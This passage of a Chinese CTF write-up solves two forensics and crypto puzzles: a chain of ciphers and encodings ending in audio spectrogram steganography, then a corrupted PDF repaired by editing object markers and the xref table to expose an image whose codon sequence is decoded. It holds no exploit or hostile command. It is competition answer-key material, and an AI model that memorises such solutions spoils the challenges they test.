把图中的地方改为00就可以了,之后打开压缩包,里面有两个文件:一个是文档,一个压缩包。查看后可以发现压缩包是加密的需要密码,那么就从文档入手,文档打开如下:
可以尝试各种解密都无法解开,可以猜测是隐藏了密钥,这是我们选中全部文本,右键字体,可以发现有内容被隐藏
取消隐藏后,我们就发现了两行字符,考虑希尔加密,得到密钥
拿到密钥后,我们再用rabbit解密,得到一串规整的字符
这时候考虑base家族,用base32解决了
这一看就很明显是unicode加密后的结果,解密一看很明显的佛说加密
再次解密后就得到了密码
打开文件是一段音频,我们考虑音频隐写,利用Audacity打开,查看频谱图就可以得到flag
就结束啦
broken_secret 首先打开pdf报错会发现里面的obj全部都变成了@bj
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1 0 @bj << /Type /Catalog /AcroForm 5 0 R /Pages 2 0 R /NeedsRendering false /Extensions << /ADBE << /ExtensionLevel 3 /BaseVersion /1.7 >> >> >> end@bj
将这一步修复好之后,使用pdfstreamdumper就能够查看内部的内容了: 不过发现这里存在两个object,其中一个里面写了很多文字,另一个则是一个图片,看上去被js加密了,所以我们这里需要想办法将图片解密开来。一种办法是直接将这段代码dump出来,或者我们可以选择修复pdf。如果我们现在尝试打开pdf的话,会发现此时打印的是一段假的flag,提示我们要去寻找入口。此时会发现xfa没有发生渲染,注意到在obj1中的render为false,我们需要改成true:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1 0 0bj << /Type /Catalog /AcroForm 5 0 R /Pages 2 0 R /NeedsRendering true /Extensions << /ADBE << /ExtensionLevel 3 /BaseVersion /1.7 >> >> >> end0bj
之后尝试打开pdf,就能见到一段和protein介绍有关的内容,这段内容提示了之后图片的含义,这里先记下来 之前我们注意到,还有一个对象,但是引用表中,有效的只有6项,第七个obj展示不出来:
1 2 3 4 5 6 7 0000000000 65535 f 0000000019 00000 n 0000000137 00000 n 0000000336 00000 n 0000000487 00000 n 0000000706 00000 n 0000000732 00000 n
这里有一个小技巧,这里把第7个obj的编号改成6,即可展示6的图片~ 根据前面对文章dna=>rna=>protein的描述 ,每3个密码子可以编码为一个氨基酸,每种氨基酸都有一个英文字母的缩写,刚好有二十来种,起源于一张老图如下 例如其中的最开始的CAU,对应的就是CAT(同CAU-组氨酸),为H,故有HAPPYNEWYEAR 我们拿出基因序列为AUCUAGAGGGAAGCUCUGCUGUACUAGAUGAUUUCGUCGUAGACUCACGAAUAGGAACUGGAUGAAAGGUAGGAUGCUUAC
可以在线解密https://skaminsky115.github.io/nac/DNA-mRNA-Protein_Converter.html 也可以用脚本写翻译脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 seq = "AUCUAGAGGGAAGCUCUGCUGUACUAGAUGAUUUCGUCGUAGACUCACGAAUAGGAACUGGAUGAAAGGUAGGAUGCUUAC" def translate (seq ): table = { 'AUA' :'I' , 'AUC' :'I' , 'AUU' :'I' , 'AUG' :'M' , 'ACA' :'T' , 'ACC' :'T' , 'ACG' :'T' , 'ACU' :'T' , 'AAC' :'N' , 'AAU' :'N' , 'AAA' :'K' , 'AAG' :'K' , 'AGC' :'S' , 'AGU' :'S' , 'AGA' :'R' , 'AGG' :'R' , 'CUA' :'L' , 'CUC' :'L' , 'CUG' :'L' , 'CUU' :'L' , 'CCA' :'P' , 'CCC' :'P' , 'CCG' :'P' , 'CCU' :'P' , 'CAC' :'H' , 'CAU' :'H' , 'CAA' :'Q' , 'C